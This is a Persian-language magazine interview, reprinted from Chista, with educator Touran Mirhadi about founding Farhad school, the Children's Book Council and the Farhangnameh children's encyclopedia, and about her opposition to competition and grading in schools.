گفتوگو با بانو توران میرهادی
اشاره
آموزش و پرورش به طور کلی، و بهویژه آموزش و پرورش کودکان و آماده ساختن آنها برای زندگی اجتماعی آینده و بزرگسالی، یکی از عرصههای پراهمیت علوم اجتماعی است. اینکه در این ۱۲۰ و اندی پس از تأسیس «مدرسهٔ رشدیه» در تبریز، نخستین مدرسه به سبک نوین (و نه مکتبخانهای)، علم آموزش و پرورش تا چه حد دستمایهٔ مسئولان آموزش کشور بوده است و چه سرمایهٔ انسانی و مطالعاتی برای رشد آن صرف شده است، خود نیاز به بررسی مفصلی دارد که بیرون از حیطهٔ این نوشتهٔ مختصر و ورای دانش راقم این سطور است. اما در این میان همیشه نامهایی مطرح بودهاند که نه تنها آموختههای علمی خود را در امر آموزش به کار بستند، بلکه در رشد و تکمیل آن و تطبیق آن به شرایط خاص فرهنگی و اجتماعی ایران تلاش بسیاری کردند. آقای پرویز شهریاری و خانم توران میرهادی دو نمونهٔ برجسته از فرهیختگان فرهنگ و آموزش میهنمان ایرانند که در عمل زندگی خود را وقف آموزش علمی و مردمی کردند و هنوز که هنوز است با عشق به کار خود ادامه میدهند. در یکی از شمارههای اخیر مجلهٔ «چیستا» که آقای شهریاری سردبیر آن هستند و اکنون نزدیک به ۲۹ سال است که منتشر میشود، مصاحبهای با خانم توران میرهادی شده است که در ادامه میخوانید.
خانم میرهادی، یا این طور که شاگردان و معلمان و پدر و مادرها او را میخوانند: «توران خانم»، مدرسهٔ ابتدایی فرهاد را که مدرسهای مختلط بود در سال ۱۳۳۴ در خیابان ژاله ـ آبسردار- تهران بنیاد گذاشت که شیوهٔ کار آن از لحاظ آموزش نمونهوار و موضوع پژوهشهای رشتهٔ تعلیم و تربیت بود. کتابخانه و کتابخوانی یکی از محورهای اصلی این مدرسه بود. او همچنین از بنیادگذاران شورای کتاب کودک است که یک سازمان فرهنگی-پژوهشی غیردولتی غیرانتفاعی است که در حوزۀ ادبیات کودک و نوجوان فعالیت می کند. این شورا از سال ۱۳۵۸ کار بزرگ تهیهٔ «فرهنگنامهٔ کودکان و نوجوانان» را با تکیه بر فرهنگ ایران و جهان متناسب با دانش پایه و زبان و بیان گروه سنی ۱۰ – ۱۶ سال آغاز کرد. در تألیف فرهنگنامه بیش از ۳۰۰ استاد و متخصص رشتههای مختلف به طور داوطلبانه همکاری میکنند. تا کنون ۱۲ جلد از ۲۶ جلد «فرهنگنامه» منتشر شده است. در گفتوگویی که میخوانید «توران خانم» دربارهٔ تجربههای مدرسههای فرهاد، شورای کتاب کودک، فرهنگنامه، عشقش به امر آموزش کودکان، و موضوع «رقابت» در مدرسه صحبت میکند که برای او یکی از موضوعهای آزار دهنده در مدرسههاست.
حبیب ناظری
هرکه با جان عشق بازد این خطاست
عشق بازیدن ز جانی دیگرست
«عطار»
مصاحبهگر: اشرف امینی
خاطرات و نظریات بانو توران میرهادی سالها در مورد آموزش در مجلهٔ «دانش و مردم» و «چیستا» چاپ شده است و شاهد بودیم که آقای شهریاری بارها گفتههای بانو میرهادی را منعکس کردند و به جوانترها سفارش میکنند که این نکتهها را به کار بندند.
با نکتهای از آقای شهریاری آغاز میکنیم: «بشر برای این به دنیا نیامده است که کورکورانه و از روی نادانی کار کند، بلکه باید با آنچه نادرست است در جدال و آنچه نارواست در جنگ باشد.» (ژوزف ارنست رنان، ۱۸۲۳ – ۱۸۹۲)
من این جمله را در زندگی شما [توران میرهادی] میبینم. در دورهٔ حکومت پهلوی به عنوان مدیر در مدرسهٔ «فرهاد» و بعدها در «شورای کتاب کودک». اکنون در خیلی از نقاط کشور میبینیم که بر اساس فهرست «شورای کتاب کودک» کتاب میخرند. ما میخواهیم دربارهٔ تأثیرات چندجانبهٔ شما، هم تأثیرگذاری فردی (مدیریت)، هم چگونگی جذب نیروهای داوطلب را (۲۵۰ نیروی داوطلب) برای ما توضیح دهید. ما میخواهیم در جاهای دیگر کشور هم چنین افرادی جذب شوند و کار را ادامه دهند. در حوزههای مختلف بهویژه در شهرستانها. ما میخواهیم شما باز هم پیام دهید که دیگران شروع کنند: گروههای دو و سه نفر؛ کار فرهنگی را خودِ مردم انجام میدهند؛ دولتها نقش چندانی در فرهنگسازی ندارند؛ هیچ پاداشی در کار نیست؛ نه تاج افتخاری، نه امتیازی برای انگشتنما شدن؛ ما میخواهیم بچهها را بیشتر به سوی دامن احساسات برابری و مهر و محبت عادت دهیم؛ از امتیاز دادن که در برخیها موجب تردید، خودپسندی، جاهطلبی و در برخی دیگر مایهٔ حسد و نفرت میشود بپرهیزیم.
● شورای کتاب کودک یکی از قدیمترین و استوارترین سازمانهای غیردولتی در ایران است. علت ماندگاری آن چیست؟ اگرچه شخصیت تأثیرگذار همیشه جایگاه خودش را دارد، اما بیتردید علتهای دیگری هم دارد.
○ شورای کتاب کودک بر اساس یک نیاز به وجود آمد. این نیاز را ما تنها در مدرسهٔ «فرهاد» درک نکرده بودیم. آقای یمینی شریف در مدرسهٔ «روش نو»، بانو و آقای مافی در مدرسهٔ «مهران»، و بسیاری از فرهنگیان دیگر [نیز به آن واقف بودند].
همهٔ ما که با بچهها کار میکردیم به این نتیجه رسیدیم که بچهها کتاب خواندنی ندارند یا بسیار کم دارند، آن هم مثل خاله سوسکه و کدو قلقله زن که از ادبیات بومی ما سرچشمه گرفته بودند و بعضی کتابهای دیگر که هنوز چاپ سنگی بود. کتاب به مفهوم امروزی که بچهها به آن نیاز داشتند بهتقریب وجود نداشت. یکی دو تا سازمان شروع کرده بودند که کتاب برای بچهها تولید یا ترجمه کنند. منظور این است که نویسندهٔ ایرانی که برای کودکان بنویسد کم بود. آقای یمینی شریف شعر میگفت و این شعرها در چند مجلهٔ آموزشی درج میشد، اما به طور جداگانه کتاب نبود و به نیاز مطالعاتی بچههای آن دوران کمتر توجه میشد. ما در سال ۱۳۳۵ در مدرسهٔ فرهاد به کمک مجلهٔ «سپیدهٔ فردا» نخستین نمایشگاه کتاب کودک را در دانشکدهٔ هنرهای زیبا برگزار کردیم. آقای محمدباقر هوشیار سخنرانی کردند. میزهایی که گذاشته شده بود رویش کتابی نبود، تنها چند کتاب ترجمه وجود داشت و آقای محمدباقر هوشیار شروع کرده بودند متنهای ساده بنویسند برای بچهها، یعنی کتابهای سادهای که به نیازهای فکری و احساسی بچههای این سرزمین جواب بدهد. ما در سال ۱۳۳۷ در مدرسهٔ فرهاد فعالیتی را انجام دادیم تا نشان دهیم که کتاب برای بچهها وجود ندارد. ما پرسشهای بچهها را جمع کردیم و در هر کلاس بزرگنویسی کردیم، زدیم به دیوار کلاسها و سپس میزها را چیدیم و اگر کتابی بود گذاشتیم روی میز تا بچهها کتابها را انتخاب کنند و پاسخ پرسشهای خود را پیدا کنند. چند کتاب بیشتر نبود؛ در مورد اخترشناسی، فیزیک، شیمی، ریاضی، مسائل اجتماعی کتابی وجود نداشت.
کار دیگر این که والدین و مهمانان که میآمدند نمایشگاه، کمبود کتاب برای کودکان را بیشتر حس کردند. بعدها پرسش اینگونه مطرح شد که ما با این پرسشهای بچهها و کمبود کتاب برای پاسخگویی به آنها چه کنیم؟ همین والدین و مردم در سال ۱۳۳۷ گفتند باید سازمانی به وجود آید که کار کتاب کودک را پیش ببرد. منظور این است که فکر از مردم گرفته شد و پیشنهادهای مختلفی مطرح شد که همه در مجلهٔ «سپیدهٔ فردا» چاپ شد و این پیشنهادهای مردم راهنمای ما شد برای تأسیس شورای کتاب کودک.
در سال ۱۳۳۹ در مدرسهٔ فرهاد سومین نمایشگاه کتاب برگزار شد. این نمایشگاه در دانشسرای عالی نیز برگزار شد. این نمایشگاه، موضوعی بود. ما در مورد علوم ریاضی، طبیعی و ادبیات فارسی نمایشگاه برپا کردیم. اما کتاب بسیار کم بود. در سال ۱۳۴۰ همهٔ ما دور هم جمع شدیم و نظرها و پیشنهادهای والدین را بررسی کردیم و به این نتیجه رسیدیم که سازمانی را به وجود بیاوریم که بتواند به این پیشنهادها و نظرها توجه کند و آنها را سازماندهی کند. ما یک گروه پنج نفره بودیم. پس از برنامهریزی و تهیهٔ اساسنامه، گروه بزرگتری را دعوت کردیم. در سالنامهٔ ۱۳۸۹ شورای کتاب کودک اسامی هیأت مؤسس آن آمده است و در سال ۱۳۴۱ «هیأت مؤسس» این اساسنامه را تصویب کرد.
نخستین انتخابات در سال ۱۳۴۱ انجام شد (ما امسال در ۴ اسفند ۱۳۸۹، چهل و هشتمین سالگرد شورای کتاب را برگزار میکنیم).
● در بحرانهای گوناگون چگونه این سازمان پایدار ماند؟
○ این گروه به پیشنهاد مردم به وجود آمد و مؤسسان آن همه در حوزهٔ کودکان فعالیت داشتند. مربی، معلم، ناشر، مؤلف، مترجم و کتابدار بودند. این گروه که دور هم جمع شدند سازمانی را به وجود آوردند که رئیس نداشت. چون رئیس نداشت، مرئوس هم نداشت. یعنی عملکرد دموکراتیک داشت. الان هم همینطور است. اینجا [شورای کتاب کودک] جمع تصمیم میگیرد. نظر همه محترم است. هیأت مدیرهٔ شورا برنامههایی را که اعضای شورا پیشنهاد میکنند به اجرا در میآورد. هیچکس رئیس نیست. ما ممکن است که برای ثبت شورای کتاب کودک بانو نوشآفرین انصاری را به عنوان رئیس معرفی کنیم، اما همهٔ کارها با نظرخواهی جمع انجام میشود. وقتی شما در یک سازمانی کار میکنید که به نظر همه توجه میشود و تصمیم جمعی گرفته میشود و به نظر جمع بها داده میشود، در عمل این سازمان پایدار است و این رمز موفقیت ماست.
پس ما در سال ۱۳۴۱ کار را شروع کردیم. آقای یمینی شریف و بانو، آقای مافی و بانو اشتیاقی مدرسه داشتند. فضایی که داشتیم فضای آموزشی بود. جلساتمان را در این فضاها برگزار میکردیم. فعالیتهای کتابخانهای ما برای کودکان در این فضاها انجام میشد. هرکدام ماتلاش میکردیم یک فعالیت را عملی کنیم. ما در مدرسهٔ فرهاد کتابخانهای را به وجود آوردیم بدون یک شاهی پول و بدون کتابدار، یعنی هیچ خرج نکردیم. ما به بچهها گفتیم یک کتاب بیاورید و عضو کتابخانه شوید و لیست کتابهای مناسب کودکان را هم زدیم به دیوار کتابخانه. بچهها کتاب آوردند. ثبت میشد به نام خودشان و کارت عضویت میگرفتند. سال اول ۵۰ کتاب، سال بعد ۲۰۰ کتاب و سالی که مدرسه را تحویل دادم، پانزده هزار جلد کتاب در کتابخانه داشتیم و چون کتابها را خودشان آورده بودند، خوب نگهداری میکردند. بانو انصاری به ما یاد دادند که کتابها را چگونه ثبت کنیم. او یک کتابدار زبده است. یک استاد دانشگاه میآمد در مدرسهٔ فرهاد با یک گروه پنج نفرهٔ دانشجو کتابها را ثبت میکردند، راهنمایی میکردند. ایشان هم معلمی را به قبول مسئولیت کتابخانه واداشت و هم شاگردانی را که اعضای انجمن کتابخانهٔ مدرسه بودند راهنمایی میکردند. این حرکت نشان داد برای تأسیس کتابخانه داشتن بودجهٔ جداگانه ضرورت ندارد. بعدها فهرست کتابهای مناسب شورای کتاب برای تأسیس کتابخانهها به مدارس فرستاده شد. منظور این است که کتابخانه به عنوان یک سازمان در داخل مدرسه فعال شد. من هیچیک از تجربهها را مال خودم نمیدانم. به همین دلیل، در نخستین گفتوگویی که در کتاب «دو گفتار» چاپ شد و الان نشر کتابدار آن را با عنوان کتابخانهٔ آموزشگاهی چاپ کرده است، مطرح کردم که ۹۵ درصد از بچهها کتابخوان شدند و زمانی، متوجه این مطلب شدیم که بچههای مدرسهٔ فرهاد عادت به مطالعه کردهاند. بچههای مدرسهٔ فرهاد کتابخانه را یک مکان بانشاط و پر از فکر میدیدند. از جمله در یک برنامهٔ کتابخانهای ما سفری کردیم به دور دنیا. میگفتیم بچهها ما امسال میرویم دور دنیا. سؤال از بچهها این بود که کجا برویم؟ بچهها میگفتند هندوستان. ما کتابهای مرتبط با موضوع هندوستان را در کتابخانه روی میز میچیدیم و بچهها عکسهای مرتبط را میآوردند. اگر کسی سفر کرده بود تعریف میکرد. اگر فیلمی بود نمایش میدادیم. این تجربه به بچهها نشان داد که کتاب خواندن این نیست که تنها کتاب بخوانند، بلکه ما با کتاب زندگی میکردیم. با خواندن کتاب پرسشهای جدید مطرح میشد و معلومات افزایش مییافت. از طرفی معلمان مدرسهٔ فرهاد همه کتابهای مناسب را در کلاس به بچهها معرفی میکردند. منظور این است که ما سیستم مدیریت هرمی را قبول نداشتیم. ما در شورای مربیان همهٔ مسایل مهد کودک را بررسی و تصمیمگیری میکردیم. در شورای معلمان مسائل مربوط به دبستان بررسی و تصمیمگیری میشد. من که مدیر بودم تصمیمهای شورای معلمان را اجرا میکردم و امکاناتش را به وجود میآوردم و تلاش میکردم کمک همهٔ معلمان باشم. همانطور که در شورای کتاب کودک دستوری در کار نیست، در مدرسهٔ فرهاد هم دستوری در کار نبود. الان که دارم صحبت میکنم من شدهام خاطرهٔ ۱۵۰ معلمی که با هم کار میکردیم. وقتی من بازنشسته شدم به خود گفتم این تجربهها مال تو نیست. در مغز تو جمع شده است، باید به دیگران منتقل شود. و بانو ضرابی نازنین این تجربهها را به صورت شفاهی ضبط کرد و بانو انصاری و دکتر حُرّی آن را خواندند و نقاط ضعف برطرف شد و کتابی با عنوان «جستوجو در راهها و روشهای تربیت» چاپ شد. کتاب «کار مربی» هم برای مربیان تنظیم شد. در واقع من در این سه کتاب تجربهها را مکتوب کردم، حالا خواه پسندیده شود خواه نه. مهم این است که این تجربه در ایران اتفاق افتاده و موفق هم بوده است.
بعضی وقتها فکر میکنم و به خود میذگویم: خدایا من هرچه شکر کنم کم است. چندی پیش یکی از بچههای مدرسهٔ فرهاد آمد منزل ما و گفت: «توران خانم (به من میگویند توران خانم) شما ۵۰ سال زندگی ما را شکل دادید، بقیهٔ زندگی ما را هم شکل دهید.» خندیدم و گفتم: شما خودتون بهتر از من میتوانید شکل دهید، من دیگر پیر شدهام! یا پریشب آیدا دختر آقای هوشنگ ابتهاج زنگ زد و گفت: «دلم میخواهد صداتون را بشنوم» و گفت «شما همیشه با ما هستید.» آیدا الان حدود ۵۰ سال دارد. او گفت: «توران خانم، شما ما را یک جوری کردید که هیچوقت ناامید نمیشویم.» من ماندم. گفتم خدایا این جریان چگونه به وجود آمد؟
در مدرسهٔ فرهاد تصمیمگیری جمعی بود. بچهها، معلمان، همه در برنامهریزی سالانهٔ مدرسه نقش داشتند. قوانین و مقررات مدرسه به وسیلهٔ آنها تدوین و نوشته میشد.
ما در مدرسه شاگرد اول نداشتیم. رقابت نبود. اگر معلم پرسشی از شاگردان میکرد برای این بود که بفهمد بچهها مطالب را فهمیدهاند یا نه. آیا توضیح مجدد لازم است یا از چه روشی استفاده کند تا بچهها بهتر مطالب را بفهمند. ارزیابی به صورت نمره نبود. معلمها ورقههای بچهها را بررسی میکردند. میگفتیم ببینیم بچهها این مطلب را خوب نفهمیدهاند یا موضوع جغرافیایی را نفهمیدهاند و به دنبال روش جبران مسئله میرفتیم. برای نمونه، آنها را به گردش علمی میبردیم، برای مثال جغرافیایی، یا راههای دیگری برای مسائل دیگر. منظور این است که مشکلات را حل میکردیم، نه اینکه از بچهها بخواهیم مطالب را حفظ کنند. روش همیاری و همفکری بود. هنوز که هنوز است هیچکدام از بچههای مدرسهٔ فرهاد رقیب یکدیگر نیستند. پس ما رقابت نداشتیم و نمره تنها برای معلم بود که نشان دهد بچهها چه فهمیدهاند و چه نفهمیدهاند و معلم چه برنامهریزی داشته باشد برای رفع مشکل.
روز ۲ آوریل روز جهانی کتاب کودک است، یعنی ۱۳ فروردین که همه تعطیل هستند (شورای کتاب کودک به همین خاطر روز ۱۴ فروردین را روز جهانی کتاب کودک اعلام کرده است). ۱۴ فروردین همه وارد مدرسه میشدند. هر کسی یک کتاب دستش بود. کتابها را بالای سرشان میگرفتند و میگفتند: آوردیم، آوردیم…با شادی و پایکوبی.
سپس با کتابهایی که بچهها آورده بودند نمایشگاه برپا میکردیم. بچهها کتابها را روی میزها میگذاشتند و کتابهایی که در کتابخانه نداشتیم میبریم در کتابخانه. بقیهٔ کتابها را بر اساس گروهها سنی (الف، ب، ج، د) مرتب میکردند و در جعبههای مقوایی میگذاشتند. با بچهها، به مناسبت روز جهانی کتاب کودک، این کتابها را برای بچههای جنوب شهر برای مدارس دولتی میبردیم و به آنها اهدا میشد.
به این ترتیب کتابخانهٔ مدرسه در جنوب شهر احداث میشد. این بود روز جهانی کتاب کودک ما در مدرسهٔ فرهاد. این تصمیم را هم خود بچهها گرفته بودند. ما میدیدیم بچهها چقدر احساس زنگی میکنند و میخواهند مفید باشند، چه نسبت به همکلاسیهای خود و چه نسبت به جامعهای که در آن زندگی میکنند (مدرسه).
این فکر و کارهایی که در مدرسهٔ فرهاد انجام میشد سبب شد شورای کتاب کودک نیز در جهت ادامهٔ آن قدم بردارد. اما چرا ما این سیستم مدیریتی را انتخاب کردیم؟
حالا میخواهم سابقهاش را برایتان بگویم. هم آقای شهریاری و هم من جوانان جنگ جهانی دوم هستیم. ایشان (استاد شهریاری) در دانشسرای عالی بودند و من هم آنجا بودم. استاد شهریاری در رشتهٔ ریاضی و من در رشتهٔ علوم طبیعی درس میخواندم. من یک سال بیشتر نماندم. به پدرم گفتم میخوام بروم خارج از ایران برای ادامهٔ تحصیل. پدر گفت: آخه توران جنگ است، گرسنگی است، خرابی است. گفتم: میروم پیش خواهر و برادرم در اتریش (آنها آنجا پزشکی میخواندند). پدر گفت: توران من مخالفم، اما هر کاری میخواهی بکن. خلاصه رفتم پاسپورتم را گرفتم، ویزا گرفتم و گذاشتم پیش پدر و گفتم: من میروم، و پدرم هم بلیت سفر را تهیه کرد. یک چیزی که نگاه من را نسبت به دنیا عوض کرد، جنگ بود. متفقین هنوز آلمان و اتریش را در اشغال داشتند. دیدن صحنههای جنگ و این که جنگ چه خرابیهایی را در اروپا سبب شده است موجب شد فکر کنم و به خودم بگویم چرا جنگ؟ این اتفاقها چطور افتاد؟ آن زمان دانشجو بودم، سفر میرفتم به اردوگاههای کار، بازداشتگاهها، کورههای آدمسوزی و… این پرسش بزرگ زندگیام شد: چرا جنگ؟ چطور اروپاییها این کار را کردند؟ انسانها چرا باید بجنگند؟ جنگها چرا به وجود آمدند؟ علت اینکه آدمها مطیع و تابع میشوند چیست؟
بسیار فکر کردم و رسیدم به نظام آموزش و پرورش و تعلیم و تربیت. متوجه شدم این نظام تعلیم و تربیت کشورهاست که انسانهای مطیع و تابع میسازد. با خودم عهد کردم که باید راه دیگری پیدا کنم. وقتی برگشتم ایران، شدم یک معلم ساده و رفتم به کلاس درس و سیستم مدیریتی دیگر را شروع کردم به تجربه کردن. در مدرسهٔ «بامداد» و «پیشرو» معلم شدم. آقای شهریاری این نکته هیچوقت یادم نمیرود. روزی پدر و مادرم من را صدا زدند و گفتند توران تو حیفی، تو درس خواندی، کار کردی، فکر داری. مادر برایت امتیاز کودکستان میگیرد (کودکستان فرهاد) و پدر گفت: من هم خانهٔ کوچک را به مدت یک سال به تو بدون اجاره میدهم. برو دست به کار شو. و کودکستان فرهاد این گونه شکل گرفت و تجربهٔ نوع دیگری از آموزش آغاز شد که انسان برده ایجاد نمیکند. تمام آن ۲۵ سال کار به من نشان داد که میشود روش پرورشی و آموزشی دیگری را اجرا کرد، به طوری که بچهها سازنده و تصمیمگیرنده باشند و همه با هم با همفکری و همیاری سازندگی به وجود آورند.
ما هر کاری که انجام میدادیم به آموزش و پرورش گزارش میدادیم. در آن زمان کسانی مانند دکتر خانلری، دکتر شریفی و کسانی که به دنبال کار خوب بودند اینها را به صورت مقاله چاپ میکردند. ما هرگونه روشی را که بردهساز بود رد میکردیم. ما یاد گرفتیم که آموزش و پرورش میتواند انسانساز باشد. من مادرم آلمانی بود و پرسشم این بود که چطور آلمانیها با این تحصیلات و توانایی، هیتلر را قبول کردند؟! چطور دستور او را برای کشتار اجرا میکردند؟! هنوز هم این پرسش را میکنم چه چیزی سبب میشود که انسانِ تصمیمگیرنده برخلاف انسانیت عمل کند (یعنی آن پرسشی که آن زمان برایم مطرح شد).
من الان در نظام آموزش و پرورش ایران سیستم رقابت و روش بردهسازی را میبینم. رقابت در واقع انسان را اسیر میکند. من برای نمره کار نمیکنم؛ برای این که از فلانی جلو بزنم. یعنی رقابت آرامآرام در وجود انسان شرایطی به وجود میآورد که انسان مطیع دستور و شرایط رقابت میشود. ما این را قبول نداریم. در شورای کتاب کودک هم قبول نداریم. من چندین بار این نمونه را آوردهام: در مدرسهٔ فرهاد گاهی میرفتم آخر کلاس مینشستم. هدفم این بود که ببینم این شاگردی که تواناتر از بقیهٔ بچههاست سر کلاس چه میکند. میزند تو سر بچهها، زور میگوید. اما چیزی که مرا متحیر کرد این بود که این شاگرد توانا با سؤال کردن از بچهها و آوردن نمونههای زنده به بچهها کمک میکرد تا همه به سطح بالای فهم مسئله برسند. این بچهها در عمل کمک معلم و بچههای دیگر میشدند.
استعدادهای درخشان و نظام رقابت، همهٔ کودکان را برده میکند. این سبب شد که به این بیندیشم که پس از بازنشستگی این تجربهها را در اختیار جامعه بگذارم و با کمک همکاران به کار لازم و جدید بپردازم.
در نخستین سمیناری که در سال ۱۳۴۲ در مدرسهٔ «نوربخش» تشکیل شد طرح و آرزوی تألیف یک کتاب مرجع برای کودکان و نوجوانان ایرانی به وجود آمد. در این رابطه تجربههای بسیاری با شاگردان مدرسهٔ فرهاد داشتیم. یک سال از بچهها خواستیم خودشان کتاب مرجع درست کنند و برای پرسشها، پاسخهای درست را بیابند.
وقتی بازنشسته شدم همزمان شد با فوت همسرم (محسن خمارلو). او در نامهای برای من نوشته بود: «توران، با یک سوم از داراییهای من کاری برای مردم بکن.» من آن را در اختیار شورا برای آغاز کار «فرهنگنامهٔ کودکان و نوجوانان» گذاشتم. این زمان پاییز ۱۳۵۸ بود. باید بگویم هزاران هزاران مبلغ بیشتر از این به ما کمک شد. استادان دانشگاه، متخصصان، کارشناسان تعلیم و تربیت، کتابداران،… به کمک آمدند و «فرهنگنامه» یک طرح همگانی شد. بانو نوشآفرین انصاری، کتابدار برجستهٔ کشور، گام به گام ما را راهنمایی کردند. استادان شیمی، فیزیک، ریاضی، پزشکی و رشتههای دیگر به کمک آمدند. نمیتوانید تصور کنید که جامعهٔ تحصیلکردهٔ ایران چگونه به ما کمک کرد. آقای جهانشاهی، آقای شریفزاده، آقای محمودی و بانو گرگین، این چهار نفر به ما یاد دادند چه جوری مقالههای بچهها را بنویسیم که قابل درک آنها باشد. آنها مجلههای «پیک» را اداره میکردند. بنابراین میدانستند مقالههایی که برای کودکان و نوجوانان نوشته میشود باید چه ویژگیهایی داشته باشد. ما هم شاگردی کردیم و هنوز و هنوز هم میآموزیم.
به این ترتیب، »فرهنگنامه» یک دانشگاه عمومی شد. ما در «فرهنگنامه» یاد گرفتیم، آموزش دیدیم، تجربه کردیم. همین دیروز حدود ۳۰ نفر از بچههای شورای مشورتی برای بررسی مقالههای فرهنگنامه در شورا بودند و راجع به مفهوم و واژههای به کار برده شده نظر دادند. آن چیزی که ما در ایران کشف کردیم یک عالمی دارد. ما در این سرزمین ثروت بیکرانی داریم، چه طبیعی و چه انسانی، چه تاریخی و چه فرهنگی. یکی از بزرگترین هدفهای ما این است که بچهها با سرزمین خودشان آشنا شوند، مردم و فرهنگ سرزمین خودشان را درست بشناسند.
ما ۳۸ گروه تخصصی داریم که مقالههای «فرهنگنامه» را مینویسند. هر ماه یک بار جلسهٔ هماندیشی داریم. از استادان دعوت میکنیم تا ما را راهنمایی کنند و نکتههای لازم را به ما بگویند و ما را با دانش جدید آشنا کنند. ما با خود عهد کردهایم هیچ اطلاع نادرستی به بچهها ندهیم و تحت تأثیر هیچ جهانی قرار نگیریم. هرچه درست و واقعی است بنویسیم. این مطلب خواه شیمی و فیزیک باشد،خواه تاریخ یا شخصیت سیاسی. ما تنها برپایهٔ مستندات مقالهها را مینویسیم.
جلد ۱۳ در ۴ اسفند ۱۳۸۹ در روز سالگرد شورا در حسینیهٔ ارشاد رونمایی میشود و ما همزمان جلدهای ۱۴، ۱۵، ۱۶ و ۱۷ را کار میکنیم. من معتقدم مردم به صداقت بسیار اهمیت میدهند و هر وقت حرفی گفته میشود که از روی صداقت باشد از جان و دل مایه میگذارند.
در طبقهٔ دوم این ساختمان [شورای کتاب کودک] فعالیتهای مرتبط با ادبیات کودکان انجام میشود. ما برای «فرهنگنامه» فضا کم داشتیم. دختران آقای مافی و بانو مافی، دوستداران «فرهنگنامه» را جمع آوردند و طبقهٔ سوم این ساختمان (همین فضایی که شما الان در آن هستید) خریداری شد. بیشتر کتابها اهدایی هستند و [به همت] آقای حسین علیزاده، هنرمند بزرگ، با برگزاری پنج شب کنسرت به نفع «فرهنگنامه» وسایل مورد نیاز این طبقه تجهیز شد. مردم ما این هستند و ما همه در خدمت مردم. این ۲۵۰ نفری که همه داوطلبانه با «فرهنگنامه» کار میکنند عاشق این سرزمین و مردم هستند.
● نیاز ادبیات کودک را بیشتر در تألیف میبینید یا در ترجمه؟
○ نیاز ادبیات کودک محدود به تألیف نمیشود. شما «قصههای خوب برای بچههای خوب» از آقای آذریزدی را دارید که باز میشود به سوی ادبیات فارسی و زمانی که کودک و نوجوان رسید به یک اثر کلاسیک فارسی به او کمک میکند که آن را بهتر درک کند، مانند غزل حافظ، حکایتهای بوستان سعدی، کلیله و دمنه، شاهنامه و حکایتهای مثنوی و… در واقع کسانی که ادبیات کهن را بازنویسی میکنند، در ورودی را باز میکنند برای بچهها که وقتی بزرگ شدند ابعاد یک اثر کهن را بهتر بفهمند و تحلل کنند. اما دنیا را باید شناخت. نمیشود تنها محدود به ادبیات فارسی در حوزهٔ داخل شد. در سال گذشته، «کانون پرورش فکری» یک سری کتاب چاپ کرد که ما خیلی خوشحال شدیم. در این کتابها حکایتهای قومهای گوناگون ایرانی را به زبان خودشان نوشته بودند و در ضمن زیر آن به فارسی برگردان شده بود، مثلاً ادبیات به زبانهای عربی، کردی، آذری، ترکمنی را زیرش فارسی نوشته بودند.
این کار فوقالعاده جالب بود. از نظر شناخت قومهای ایرانی که در ایران زندگی میکنند، مانند کاری که نادر ابراهیمی در «آتش بدون دود» کرد. این مطلبی است که ما در فرهنگنامه داریم کشف میکنیم که در این سرزمین چه ثروت بیکران فرهنگی وجود دارد. من دیروز بحثی داشتم با یکی از همکارانم که مقالهٔ زیباشناسی را نوشته بود. او مقاله را خیلی کلاسیک نوشته بود. به او گفتم بچهها وقتی این مقاله را بخوانند نمیگویند زیبایی در طبیعت، هنر، صنایع دستی و… چه نمونههایی دارد؟ آیا ما باید افلاطون و سقراط را بنویسیم؟ سلیقهای که یک بافنده، گلیم روستایی را میآفریند نباید ببینیم؟ یعنی زیبایی محدود میشود به همین مطالب فکری؟ جوانب گوناگون زیباییشناسی را پیش از یک اثر کلاسیک، در میان مردم هم باید دید.
هر مقاله که برای فرهنگنامه تدوین میشود خودش یک رساله است و هر کجا که گیر میکنیم از خود بچهها میپرسیم و آنها ما را راهنمایی میکنند. ارتباط با نسل جوان بسیار برای ما آموزنده است. همانطور که گفتم، حساسیت زیادی در نشر فرهنگنامه داریم. ما اطلاعاتی که میدهیم، باید درست و پاکیزه باشد. دایرهٔ اطلاعات ما محدود نیست و بچهها هم ما را بهخوبی هدایت میکنند. هدف ما کودکان و جوانان ۱۰ تا ۱۶ سال است. معلمان و والدین هم هستند.
● ما چه کارهایی باید انجام دهیم که نویسندگان ما به توانمندی لازم برسند و چرا تولید کتابهای کودکان از نظر کیفی همچنان ضعیف است؟
○ این مطلب تازگی ندارد. الان هم بازار حاکم بر نشر کتاب شده است. همچنین تبلیغات جهانی را نگاه کنید که چگونه از «هری پاتر» پول در میآورد؟! این گونه کتابها بر اثر تأثیر بازار به وجود میآیند، نه براساس روحیه و نیاز مخاطب. این تبلیغات جامعهٔ ایران را هم متأثر میکند، چرا که میبینیم برخی از نویسندگان ایرانی میگویند چه بنویسیم که فروش برود، نه این که مطلبی بنویسیم بچهها لذت ببرند.
● چرا در سازمان IBBY (دفتر بین المللی کتاب برای نسل جوان) دیگر کشورها جایزهٔ ادبی را از آنِ خود میکنند؟
○ ما هم نویسندگانی داشتهایم مانند مرادی کرمانی، احمدرضا احمدی و… که جایزههایی گرفتهاند. ما سازمانهای گوناگونی در ایران داریم که در حوزهٔ کودکان کار میکنند، مانند انجمن نویسندگان کودک و نوجوان، انجمن تصویرگران، کانون ناشران کودک و نوجوان و…
من سعی میکنم در جلسههای سالانهٔ آنها شرکت کنم و فضا را ببینم و بیندیشم که ما کجا هستیم و چهکار داریم میکنیم؟ احساسم این است که پله پله داریم به سمت جلو حرکت میکنیم و هر روز وضع بهتر میشود.
● بانوی گرامی! امید ما! از این که وقت گرامیتان را در اختیار ما گذاشتید سپاسگزاریم. ما کوشش میکنیم دانش و تجربهٔ شما را برای نسل فردا اشاعه دهیم. فرزندان ایرانزمین از همهٔ کوششهای شما سپاسگزارند.
———————–
نقل از مجلهٔ چیستا، شمارهٔ ۶و ۷، اسفند ۸۹ و فروردین ۹۰
